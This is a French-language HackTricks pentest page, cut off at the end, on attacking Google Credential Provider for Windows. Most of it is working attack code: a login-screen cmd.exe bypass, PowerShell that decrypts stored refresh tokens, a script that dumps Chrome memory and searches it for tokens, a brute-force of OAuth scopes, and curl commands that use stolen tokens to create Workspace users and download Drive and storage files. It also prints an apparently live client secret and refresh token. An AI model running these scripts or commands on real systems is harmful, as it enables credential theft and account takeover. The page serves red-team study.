GCPW - Google Credential Provider for Windows
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Informations de base
Ceci est le systĂšme dâauthentification unique que Google Workspaces fournit afin que les utilisateurs puissent se connecter Ă leurs PC Windows en utilisant leurs identifiants Workspace. De plus, cela stockera des jetons pour accĂ©der Ă Google Workspace Ă certains endroits sur le PC.
Tip
Notez que Winpeas est capable de dĂ©tecter GCPW, dâobtenir des informations sur la configuration et mĂȘme des jetons.
GCPW - MitM
Lorsquâun utilisateur accĂšde Ă un PC Windows synchronisĂ© avec Google Workspace via GCPW, il devra remplir un formulaire de connexion commun. Ce formulaire de connexion renverra un code OAuth que le PC Ă©changera contre le jeton dâactualisation dans une requĂȘte comme :
POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
Content-Length: 311
Content-Type: application/x-www-form-urlencoded
[...headers...]
scope=https://www.google.com/accounts/OAuthLogin
&grant_type=authorization_code
&client_id=77185425430.apps.googleusercontent.com
&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT
&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
Note
Il Ă©tait possible dâeffectuer un MitM en installant
Proxifiersur le PC, en Ă©crasant le binaireutilman.exeavec uncmd.exeet en exĂ©cutant les fonctionnalitĂ©s dâaccessibilitĂ© sur la page de connexion Windows, ce qui exĂ©cutera un CMD Ă partir duquel vous pouvez lancer et configurer le Proxifier.
Nâoubliez pas de bloquer le trafic QUICK UDP dansProxifierafin quâil soit rĂ©trogradĂ© Ă une communication TCP et que vous puissiez le voir.Configurez Ă©galement dans âServices et autres utilisateursâ les deux options et installez le certificat CA Burp dans Windows.
De plus, en ajoutant les clés enable_verbose_logging = 1 et log_file_path = C:\Public\gcpw.log dans HKLM:\SOFTWARE\Google\GCPW, il est possible de stocker certains journaux.
GCPW - Empreinte
Il est possible de vérifier si GCPW est installé sur un appareil en vérifiant si le processus suivant existe ou si les clés de registre suivantes existent :
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
} else {
Write-Output "The process gcpw_xtension.exe is not running."
}
# Check if HKLM\SOFTWARE\Google\GCPW\Users exists
$gcpwHKLMPath = "HKLM:\SOFTWARE\Google\GCPW\Users"
if (Test-Path $gcpwHKLMPath) {
Write-Output "GCPW is installed: The key $gcpwHKLMPath exists."
} else {
Write-Output "GCPW is not installed: The key $gcpwHKLMPath does not exist."
}
# Check if HKCU\SOFTWARE\Google\Accounts exists
$gcpwHKCUPath = "HKCU:\SOFTWARE\Google\Accounts"
if (Test-Path $gcpwHKCUPath) {
Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
} else {
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}
Dans HKCU:\SOFTWARE\Google\Accounts, il est possible dâaccĂ©der Ă lâemail de lâutilisateur et au refresh token chiffrĂ© si lâutilisateur sâest rĂ©cemment connectĂ©.
Dans HKLM:\SOFTWARE\Google\GCPW\Users, il est possible de trouver les domains autorisĂ©s Ă se connecter dans la clĂ© domains_allowed et dans les sous-clĂ©s, il est possible de trouver des informations sur lâutilisateur comme lâemail, la photo, le nom dâutilisateur, les durĂ©es de vie des tokens, le handle du tokenâŠ
Note
Le handle du token est un token qui commence par
eth.et Ă partir duquel certaines informations peuvent ĂȘtre extraites avec une requĂȘte comme :curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \ -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg' # Exemple de rĂ©ponse { "audience": "77185425430.apps.googleusercontent.com", "scope": "https://www.google.com/accounts/OAuthLogin", "expires_in": 12880152 }Il est Ă©galement possible de trouver le handle du token dâun access token avec une requĂȘte comme :
curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \ -d 'access_token=<access token>' # Exemple de rĂ©ponse { "issued_to": "77185425430.apps.googleusercontent.com", "audience": "77185425430.apps.googleusercontent.com", "scope": "https://www.google.com/accounts/OAuthLogin", "expires_in": 1327, "access_type": "offline", "token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg" }A ma connaissance, il nâest pas possible dâobtenir un refresh token ou un access token Ă partir du handle du token.
De plus, le fichier C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse est un json contenant les informations de diffĂ©rents settings comme enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (si plusieurs utilisateurs de Workspace peuvent se connecter sur lâordinateur) et validityPeriodDays (nombre de jours pendant lesquels un utilisateur nâa pas besoin de se rĂ©authentifier directement avec Google).
GCPW - Obtenir des Tokens
GCPW - Refresh Tokens du Registre
Dans le registre HKCU:\SOFTWARE\Google\Accounts, il pourrait ĂȘtre possible de trouver certains comptes avec le refresh_token chiffrĂ© Ă lâintĂ©rieur. La mĂ©thode ProtectedData.Unprotect peut facilement le dĂ©chiffrer.
Obtenir les données de HKCU:\SOFTWARE\Google\Accounts et déchiffrer les refresh_tokens
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
Base registry path
$baseKey = âHKCU:\SOFTWARE\Google\Accountsâ
Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )
Get all values within the current key
$registryKey = Get-Item -Path $keyPath $foundToken = $false
Loop through properties to find refresh_token
foreach ($property in $registryKey.Property) { if ($property -eq ârefresh_tokenâ) { $foundToken = $true try {
Get the raw bytes of the refresh_token from the registry
$encryptedTokenBytes = (Get-ItemProperty -Path $keyPath -Name $property).$property
Decrypt the bytes using ProtectedData.Unprotect
$decryptedTokenBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedTokenBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) $decryptedToken = [System.Text.Encoding]::UTF8.GetString($decryptedTokenBytes)
Write-Output âPath: $keyPathâ Write-Output âDecrypted refresh_token: $decryptedTokenâ Write-Output ââââââââââââ } catch { Write-Output âPath: $keyPathâ Write-Output âFailed to decrypt refresh_token: $($_.Exception.Message)â Write-Output ââââââââââââ } } }
Recursively process all subkeys
Get-ChildItem -Path $keyPath | ForEach-Object { Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath } }
Start the search from the base key
Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
</details>
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
Comme expliqué dans [**cette vidéo**](https://www.youtube.com/watch?v=FEQxHRRP_5I), si vous ne trouvez pas le token dans le registre, il est possible de modifier la valeur (ou de la supprimer) depuis **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** et la prochaine fois que l'utilisateur accÚde à l'ordinateur, il devra se reconnecter et le **token sera stocké dans le registre précédent**.
### GCPW - Jetons de rafraĂźchissement de disque
Le fichier **`%LocalAppData%\Google\Chrome\User Data\Local State`** stocke la clé pour déchiffrer les **`refresh_tokens`** situés à l'intérieur des **profils Google Chrome** de l'utilisateur comme :
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
Il est possible de trouver du **code C#** accédant à ces tokens de maniÚre déchiffrée dans [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
De plus, le chiffrement peut ĂȘtre trouvĂ© dans ce code : [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
On peut observer que AESGCM est utilisé, le token chiffré commence par une **version** (**`v10`** à ce moment), puis il [**a 12B de nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42), et ensuite il a le **texte chiffré** avec un **mac final de 16B**.
### GCPW - Dumping des tokens de la mémoire des processus
Le script suivant peut ĂȘtre utilisĂ© pour **dump** chaque processus **Chrome** en utilisant `procdump`, extraire les **chaĂźnes** et ensuite **chercher** des chaĂźnes liĂ©es aux **tokens d'accĂšs et de rafraĂźchissement**. Si Chrome est connectĂ© Ă un site Google, certains **processus stockeront des tokens de rafraĂźchissement et/ou d'accĂšs en mĂ©moire !**
<details>
<summary>Dump des processus Chrome et recherche de tokens</summary>
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
Jâai essayĂ© la mĂȘme chose avec gcpw_extension.exe, mais il nâa trouvĂ© aucun jeton.
Pour une raison quelconque, certains jetons dâaccĂšs extraits ne seront pas valides (bien que certains le soient). Jâai essayĂ© le script suivant pour supprimer des caractĂšres un par un afin dâessayer dâobtenir le jeton valide Ă partir du dump. Cela ne mâa jamais aidĂ© Ă en trouver un valide, mais cela pourrait, je suppose :
Vérifier le jeton d'accÚs en supprimant des caractÚres un par un
```bash #!/bin/bashDefine the initial access token
access_token=âya29.a0AcM612wWX6Pe3Pc6ApZYknGs5n66W1Hr1CQvF_L_pIm3uZaXWisWFabzxheYCHErRn28l2UOJuAbMzfn1TUpSKqvYvlhXJpxQsKEtwhYXzN2BZdOQNji0EXfF7po1_0WaxhwqOiE0CFQciiL8uAmkRsoXhq9ekC_S8xLrODZ2yKdDR6gSFULWaiIG-bOCFx3DkbOdbjAk-U4aN1WbglUAJdLZh7DMzSucIIZwKWvBxqqajSAjrdW0mRNVN2IfkcVLPndwj7fQJV2bQaCgYKAbQSAQ4SFQHGX2MiPuU1D-9-YHVzaFlUo_RwXA0277â
Define the URL for the request
url=âhttps://www.googleapis.com/oauth2/v1/tokeninfoâ
Loop until the token is 20 characters or the response doesnât contain âerror_descriptionâ
while [ ${#access_token} -gt 20 ]; do
Make the request and capture the response
response=$(curl -s -H âContent-Type: application/x-www-form-urlencodedâ -d âaccess_token=$access_tokenâ $url)
Check if the response contains âerror_descriptionâ
if [[ ! â$responseâ =~ âerror_descriptionâ ]]; then echo âSuccess: Token is validâ echo âFinal token: $access_tokenâ echo âResponse: $responseâ exit 0 fi
Remove the last character from the token
access_token=${access_token:0:-1}
echo âToken length: ${#access_token}â done
echo âError: Token invalid or too shortâ
</details>
### GCPW - Génération de jetons d'accÚs à partir de jetons d'actualisation
En utilisant le jeton d'actualisation, il est possible de générer des jetons d'accÚs en utilisant celui-ci ainsi que l'ID client et le secret client spécifiés dans la commande suivante :
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
GCPW - Scopes
Note
Notez quâil nâest pas possible de demander nâimporte quel scope pour le token dâaccĂšs mĂȘme en ayant un refresh token, car vous ne pouvez demander que les scopes pris en charge par lâapplication oĂč vous gĂ©nĂ©rez le token dâaccĂšs.
De plus, le refresh token nâest pas valide dans toutes les applications.
Par dĂ©faut, GCPW nâaura pas accĂšs en tant quâutilisateur Ă tous les scopes OAuth possibles, donc en utilisant le script suivant, nous pouvons trouver les scopes qui peuvent ĂȘtre utilisĂ©s avec le refresh_token pour gĂ©nĂ©rer un access_token :
Bash script to brute-force scopes
```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -s --data "client_id=77185425430.apps.googleusercontent.com" \ --data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \ --data "grant_type=refresh_token" \ --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \ --data "scope=$scope" \ https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then echo "" echo $scope echo $scope >> /tmp/valid_scopes.txt fi doneecho ââ echo ââ echo âValid scopes:â cat /tmp/valid_scopes.txt rm /tmp/valid_scopes.txt
</details>
Et voici le résultat que j'ai obtenu au moment de l'écriture :
<details>
<summary>Portées par force brute</summary>
https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile
</details>
De plus, en vĂ©rifiant le code source de Chromium, il est possible de [**trouver ce fichier**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), qui contient **d'autres portĂ©es** qui peuvent ĂȘtre supposĂ©es **et qui n'apparaissent pas dans la liste brute-forcĂ©e prĂ©cĂ©demment**. Par consĂ©quent, ces portĂ©es supplĂ©mentaires peuvent ĂȘtre supposĂ©es :
<details>
<summary>Portées supplémentaires</summary>
https://www.google.com/accounts/OAuthLogin https://www.googleapis.com/auth/account.capabilities https://www.googleapis.com/auth/accounts.programmaticchallenge https://www.googleapis.com/auth/accounts.reauth https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/aida https://www.googleapis.com/auth/aidahttps://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/android_checkin https://www.googleapis.com/auth/any-api https://www.googleapis.com/auth/assistant-sdk-prototype https://www.googleapis.com/auth/auditrecording-pa https://www.googleapis.com/auth/bce.secureconnect https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/cast.backdrop https://www.googleapis.com/auth/cclog https://www.googleapis.com/auth/chrome-model-execution https://www.googleapis.com/auth/chrome-optimization-guide https://www.googleapis.com/auth/chrome-safe-browsing https://www.googleapis.com/auth/chromekanonymity https://www.googleapis.com/auth/chromeosdevicemanagement https://www.googleapis.com/auth/chromesync https://www.googleapis.com/auth/chromewebstore.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/cryptauth https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/experimentsandconfigs https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/gcm https://www.googleapis.com/auth/googlenow https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/identity.passwords.leak.check https://www.googleapis.com/auth/ip-protection https://www.googleapis.com/auth/kid.family.readonly https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/kid.permission https://www.googleapis.com/auth/kids.parentapproval https://www.googleapis.com/auth/kids.supervision.setup.child https://www.googleapis.com/auth/lens https://www.googleapis.com/auth/music https://www.googleapis.com/auth/nearbydevices-pa https://www.googleapis.com/auth/nearbypresence-pa https://www.googleapis.com/auth/nearbysharing-pa https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/peopleapi.readwrite https://www.googleapis.com/auth/photos https://www.googleapis.com/auth/photos.firstparty.readonly https://www.googleapis.com/auth/photos.image.readonly https://www.googleapis.com/auth/profile.language.read https://www.googleapis.com/auth/secureidentity.action https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/supportcontent https://www.googleapis.com/auth/tachyon https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/wallet.chrome
</details>
Notez que le plus intéressant est probablement :
```c
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
Cependant, jâai essayĂ© dâutiliser cette portĂ©e pour accĂ©der Ă gmail ou lister des groupes et cela nâa pas fonctionnĂ©, donc je ne sais pas Ă quel point cela est encore utile.
Obtenez un jeton dâaccĂšs avec toutes ces portĂ©es :
Script Bash pour générer un jeton d'accÚs à partir de refresh_token avec toutes les portées
```bash export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.google.com/accounts/OAuthLogin https://www.googleapis.com/auth/account.capabilities https://www.googleapis.com/auth/accounts.programmaticchallenge https://www.googleapis.com/auth/accounts.reauth https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/aida https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/android_checkin https://www.googleapis.com/auth/any-api https://www.googleapis.com/auth/assistant-sdk-prototype https://www.googleapis.com/auth/auditrecording-pa https://www.googleapis.com/auth/bce.secureconnect https://www.googleapis.com/auth/calendar https://www.googleapis.com/auth/calendar.events https://www.googleapis.com/auth/calendar.events.readonly https://www.googleapis.com/auth/calendar.readonly https://www.googleapis.com/auth/cast.backdrop https://www.googleapis.com/auth/cclog https://www.googleapis.com/auth/chrome-model-execution https://www.googleapis.com/auth/chrome-optimization-guide https://www.googleapis.com/auth/chrome-safe-browsing https://www.googleapis.com/auth/chromekanonymity https://www.googleapis.com/auth/chromeosdevicemanagement https://www.googleapis.com/auth/chromesync https://www.googleapis.com/auth/chromewebstore.readonly https://www.googleapis.com/auth/classroom.courses.readonly https://www.googleapis.com/auth/classroom.coursework.me.readonly https://www.googleapis.com/auth/classroom.coursework.students.readonly https://www.googleapis.com/auth/classroom.profile.emails https://www.googleapis.com/auth/classroom.profile.photos https://www.googleapis.com/auth/classroom.rosters.readonly https://www.googleapis.com/auth/classroom.student-submissions.me.readonly https://www.googleapis.com/auth/classroom.student-submissions.students.readonly https://www.googleapis.com/auth/cloud-translation https://www.googleapis.com/auth/cloud_search.query https://www.googleapis.com/auth/cryptauth https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/drive.apps.readonly https://www.googleapis.com/auth/drive.file https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/ediscovery https://www.googleapis.com/auth/experimentsandconfigs https://www.googleapis.com/auth/firebase.messaging https://www.googleapis.com/auth/gcm https://www.googleapis.com/auth/googlenow https://www.googleapis.com/auth/googletalk https://www.googleapis.com/auth/identity.passwords.leak.check https://www.googleapis.com/auth/ip-protection https://www.googleapis.com/auth/kid.family.readonly https://www.googleapis.com/auth/kid.management.privileged https://www.googleapis.com/auth/kid.permission https://www.googleapis.com/auth/kids.parentapproval https://www.googleapis.com/auth/kids.supervision.setup.child https://www.googleapis.com/auth/lens https://www.googleapis.com/auth/music https://www.googleapis.com/auth/nearbydevices-pa https://www.googleapis.com/auth/nearbypresence-pa https://www.googleapis.com/auth/nearbysharing-pa https://www.googleapis.com/auth/peopleapi.readonly https://www.googleapis.com/auth/peopleapi.readwrite https://www.googleapis.com/auth/photos https://www.googleapis.com/auth/photos.firstparty.readonly https://www.googleapis.com/auth/photos.image.readonly https://www.googleapis.com/auth/profile.language.read https://www.googleapis.com/auth/secureidentity.action https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/supportcontent https://www.googleapis.com/auth/tachyon https://www.googleapis.com/auth/tasks https://www.googleapis.com/auth/tasks.readonly https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/wallet.chrome" | tr '\n' ' ')curl -s âdata âclient_id=77185425430.apps.googleusercontent.comâ
âdata âclient_secret=OTJgUOQcT7lO7GsGZq2G4IlTâ
âdata âgrant_type=refresh_tokenâ
âdata ârefresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflIâ
âdata âscope=$scopeâ
https://www.googleapis.com/oauth2/v4/token
</details>
Quelques exemples utilisant certains de ces scopes :
<details>
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/oauth2/v2/userinfo"
{
"id": "100203736939176354570",
"email": "hacktricks@example.com",
"verified_email": true,
"name": "John Smith",
"given_name": "John",
"family_name": "Smith",
"picture": "https://lh3.googleusercontent.com/a/ACg8ocKLvue[REDACTED]wcnzhyKH_p96Gww=s96-c",
"locale": "en",
"hd": "example.com"
}
https://www.googleapis.com/auth/admin.directory.user
```bash # List users curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/admin/directory/v1/users?customer=Create user
curl -X POST
-H âAuthorization: Bearer $access_tokenâ
-H âContent-Type: application/jsonâ
-d â{
âprimaryEmailâ: ânewuser@hdomain.comâ,
ânameâ: {
âgivenNameâ: âNewâ,
âfamilyNameâ: âUserâ
},
âpasswordâ: âUserPassword123â,
âchangePasswordAtNextLoginâ: true
}â
âhttps://www.googleapis.com/admin/directory/v1/usersâ
</details>
<details>
<summary>https://www.googleapis.com/auth/drive</summary>
```bash
# List files
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files?pageSize=10&fields=files(id,name,modifiedTime)&orderBy=name"
{
"files": [
{
"id": "1Z8m5ALSiHtewoQg1LB8uS9gAIeNOPBrq",
"name": "Veeam new vendor form 1 2024.docx",
"modifiedTime": "2024-08-30T09:25:35.219Z"
}
]
}
# Download file
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files/<file-id>?alt=media" \
-o "DownloadedFileName.ext"
# Upload file
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/octet-stream" \
--data-binary @path/to/file.ext \
"https://www.googleapis.com/upload/drive/v3/files?uploadType=media"
https://www.googleapis.com/auth/devstorage.read_write
```bash # List buckets from a project curl -X GET \ -H "Authorization: Bearer $access_token" \ "https://www.googleapis.com/storage/v1/b?project=List objects in a bucket
curl -X GET
-H âAuthorization: Bearer $access_tokenâ
âhttps://www.googleapis.com/storage/v1/b/
Upload file to bucket
curl -X POST
-H âAuthorization: Bearer $access_tokenâ
-H âContent-Type: application/octet-streamâ
âdata-binary @path/to/yourfile.ext
âhttps://www.googleapis.com/upload/storage/v1/b/<BUCKET_NAME>/o?uploadType=media&name=<OBJECT_NAME>â
Download file from bucket
curl -X GET
-H âAuthorization: Bearer $access_tokenâ
âhttps://www.googleapis.com/storage/v1/b/BUCKET_NAME/o/OBJECT_NAME?alt=mediaâ
-o âDownloadedFileName.extâ
</details>
<details>
<summary>https://www.googleapis.com/auth/spreadsheets</summary>
```bash
# List spreadsheets
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files?q=mimeType='application/vnd.google-apps.spreadsheet'&fields=files(id,name,modifiedTime)&pageSize=100"
# Download as pdf
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://www.googleapis.com/drive/v3/files/106VJxeyIsVTkixutwJM1IiJZ0ZQRMiA5mhfe8C5CxMc/export?mimeType=application/pdf" \
-o "Spreadsheet.pdf"
# Create spreadsheet
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"properties": {
"title": "New Spreadsheet"
}
}' \
"https://sheets.googleapis.com/v4/spreadsheets"
# Read data from a spreadsheet
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://sheets.googleapis.com/v4/spreadsheets/<SPREADSHEET_ID>/values/Sheet1!A1:C10"
# Update data in spreadsheet
curl -X PUT \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"range": "Sheet1!A2:C2",
"majorDimension": "ROWS",
"values": [
